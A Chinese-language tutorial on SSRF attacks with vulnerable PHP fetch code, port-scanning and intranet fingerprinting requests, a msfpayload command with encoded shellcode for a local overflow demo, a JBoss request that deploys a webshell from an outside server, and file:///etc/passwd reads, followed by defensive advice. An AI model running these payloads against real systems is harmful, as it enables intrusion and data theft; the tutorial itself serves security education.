SSRF攻击实例解析
ssrf攻击概述
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。
比如下图显示的就是提供这种功能的典型应用:
如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
常用的后端实现
ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。
1,php file_get_contents:
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
2,php fsockopen():
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3,php curl_exec():
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj); $filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
这是另外一个很常见的实现。使用curl获取数据。
攻击场景
大部分的web服务器架构中,web服务器自身都可以访问互联网和服务器所在的内网。下图展示了web服务器的请求可以到达的地方。
端口扫描
大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如
http://example.com:8080/dir/images/ http://example.com:22/dir/public/image.jpg http://example.com:3306/dir/images/
然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。
下面一个实现就可以用来做端口扫描:
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
读者可以使用如下表单提交测试(比较简陋~~):
<html><body> <form name="px" method="post" action="http://127.0.0.1/ss.php"> <input type="text" name="url" value=""> <input type="submit" name="commit" value="submit"> </form> <script> </script> </body></html>
正常情况下,请求http://www.twitter.com/robots.txt 返回结果如下:
如果请求非http服务的端口,比如:http://scanme.nmap.org:22/test.txt 会返回banner信息
请求关闭的端口会报错:http://scanme.nmap.org:25/test.txt
请求本地的mysql端口:http://127.0.0.1:3306/test.txt
当然大多数互联网的应用并不会直接返回banner信息。不过可以通过前面说过的,处错误信息,响应时间,响应包大小来判断。下面是Google的webmaster应用中,利用返回信息判断端口状态的案例.该缺陷Google已修复。
攻击应用程序
内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。
下面是用一个小程序本地来演示:
请求:http://127.0.0.1:8987/test.txt
探测到8987端口开放。
请求:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
这里是白盒分析,实战的时候当然没这个条件只能是利用已知漏洞来溢出。通过分析写好exp。因为http是基于文本的协议,所以处理一些不可以打印的unicode字符会存在问题。这里使用msfencode来进行编码。命令如下:
msfpayload widnows/exec CMD=calc.exe R | msfencode
bufferRegister=ESP -e x86/alpha_mixed
最终payload如下:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
溢出成功,弹出计算器。
大家也许会对http发送的数据是否能被其他服务器协议接收存在疑问。可以参考跨协议通信技术利用
内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
访问 http://10.0.0.1/portName.js 可以判断是否是Dlink 路由器
下面百度的案例来自于wooyun,已经修复。通过访问http://10.50.33.43:8080/manager/images/tomcat.gif 识别出服务器使用了tomcat。
攻击内网web应用
仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。
只需要将网马放在公网服务器上,然后发送这个请求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17
&arg0=http://our_public_internet_server/utils/cmd.war
通过加参数请求网马执行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir
实战中一般不会有回显,类似于盲打只能。
读取本地文件
上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:
Request: file:///C:/Windows/win.ini
下面是Adobe的一个案例,已经修复。请求为file:///etc/passwd
如何防御
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
参考资料
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
SSRF攻击实例解析的更多相关文章
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- IBM Rational AppScan:跨站点脚本攻击深入解析
IBM Rational AppScan:跨站点脚本攻击深入解析 了解黑客如何启动跨站点脚本攻击(cross-site scripting,XSS),该攻击危害(及不危害)什么,如何检测它们,以 ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- exec函数族实例解析
exec函数族实例解析 fork()函数通过系统调用创建一个与原来进程(父进程)几乎完全相同的进程(子进程是父进程的副本,它将获得父进程数据空间.堆.栈等资源的副本.注意,子进程持有的是上述存储空间的 ...
- [Reprint] C++函数模板与类模板实例解析
这篇文章主要介绍了C++函数模板与类模板,需要的朋友可以参考下 本文针对C++函数模板与类模板进行了较为详尽的实例解析,有助于帮助读者加深对C++函数模板与类模板的理解.具体内容如下: 泛型编程( ...
- [Reprint]C++普通函数指针与成员函数指针实例解析
这篇文章主要介绍了C++普通函数指针与成员函数指针,很重要的知识点,需要的朋友可以参考下 C++的函数指针(function pointer)是通过指向函数的指针间接调用函数.相信很多人对指向一般 ...
- JavaWeb实现文件上传下载功能实例解析
转:http://www.cnblogs.com/xdp-gacl/p/4200090.html JavaWeb实现文件上传下载功能实例解析 在Web应用系统开发中,文件上传和下载功能是非常常用的功能 ...
- Android实例-Delphi开发蓝牙官方实例解析(XE10+小米2+小米5)
相关资料:1.http://blog.csdn.net/laorenshen/article/details/411498032.http://www.cnblogs.com/findumars/p/ ...
- Android开发之IPC进程间通信-AIDL介绍及实例解析
一.IPC进程间通信 IPC是进程间通信方法的统称,Linux IPC包括以下方法,Android的进程间通信主要采用是哪些方法呢? 1. 管道(Pipe)及有名管道(named pipe):管道可用 ...
随机推荐
- setTimeOut(),和setInterVal()调用函数加不加括号!!!
直接在ready中调用其他方法,会提示缺少对象的错误,解决方法如下: 方法1. 应用jQuery的扩展可以解决这个问题. $(document).ready(function(){ $.extend( ...
- for xml path('') 引发的数据不完整
When you read Extensible Markup Language (XML) data from Microsoft SQL Server by using the SqlDataRe ...
- Python核心编程--学习笔记--4--Python对象
现在开始学习Python语言的核心部分.首先了解什么是Python对象,然后讨论最常用的内建类型,接下来讨论标准类型运算符和内建函数,之后给出对标准类型的不同分类方式,最后提一提Python目前还不支 ...
- uva 11538 Chess Queen<计数>
链接:http://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&am ...
- ubuntu crontab 定时备份postgres数据库并上传ftp服务器
最近公司要求备份数据库,所以就查了比较作的资料.废话不多说,入正题. 目的:定期备份ubuntu下的postgres数据库,打包上传到指定ftp服务器. 经过查找资料,解决方法: ①编写备份数据库.打 ...
- 什么是O/R Mapping(ORM)
ORM,即Object-Relationl Mapping,它的作用是在关系型数据库和对象之间作一个映射,这样,我们在具体的操作数据库的时候,就不需要再去和复杂的SQL语句打交道,只要像平时操作对象一 ...
- ios中三种多线程的技术对比
1.NSThread 使用较少 在NSThread调用的方法中,同样要使用autoreleasepool进行内存管理,否则容易出现内存泄露. 使用流程:创建线程-->启动线程 2.NSOpera ...
- Java动态替换InetAddress中DNS的做法简单分析2
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.i ...
- iOS学习之事件处理
一.事件的基本概念 1.事件概述 事件是当用户手指触击屏幕及在屏幕上移动时,系统不断发送给应用程序的对象. 系统将事件按照特定的路径传递给可以对其进行处理的对象. 在iOS汇总,一个UITo ...
- TFS(Taobao File System)安装方法
文章目录: 一.TFS(Taobao File System)安装方法 二.TFS(Taobao File System)配置dataServer.分区.挂载数据盘 三.TFS(Taobao File ...